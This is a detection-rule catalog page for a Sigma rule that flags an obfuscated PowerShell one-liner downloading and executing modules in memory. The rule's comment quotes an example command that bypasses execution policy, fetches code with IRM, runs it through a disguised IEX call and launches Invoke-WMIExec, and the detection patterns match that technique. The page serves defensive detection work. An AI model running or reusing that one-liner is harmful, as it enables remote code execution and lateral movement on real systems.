detection.wiki

Detection rules › Sigma

Obfuscated PowerShell OneLiner Execution

Status
test
Severity
high
Log source
product windows, category process_creation
Author
@Kostastsale, TheDFIRReport
Source
github.com/SigmaHQ/sigma

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

MITRE ATT&CK coverage

TacticTechniques
ExecutionT1059.001 Command and Scripting Interpreter: PowerShell
Defense ImpairmentT1685 Disable or Modify Tools

Event coverage

ProviderEventTitle
SysmonEvent ID 1Process creation
Security-AuditingEvent ID 4688A new process has been created.

Rule body yaml

title: Obfuscated PowerShell OneLiner Execution
id: 44e24481-6202-4c62-9127-5a0ae8e3fe3d
status: test
description: Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
references:
    - https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
    - https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
author: '@Kostastsale, TheDFIRReport'
date: 2022-05-09
modified: 2025-04-16
tags:
    - attack.execution
    - attack.defense-impairment
    - attack.t1059.001
    - attack.t1685
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        # Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
        Image|endswith: '\powershell.exe'
        CommandLine|contains|all:
            - 'http://127.0.0.1'
            - '%{(IRM $_)}'
            - 'Invoke'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith: '\powershell.exe'
    CommandLine|contains|all:
        - 'http://127.0.0.1'
        - '%{(IRM $_)}'
        - 'Invoke'

Indicators

Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.

FieldKindValues
CommandLinematch
  • %{(IRM $_)}
  • Invoke
  • http://127.0.0.1
Imageends_with
  • \powershell.exe corpus 182 (sigma 182)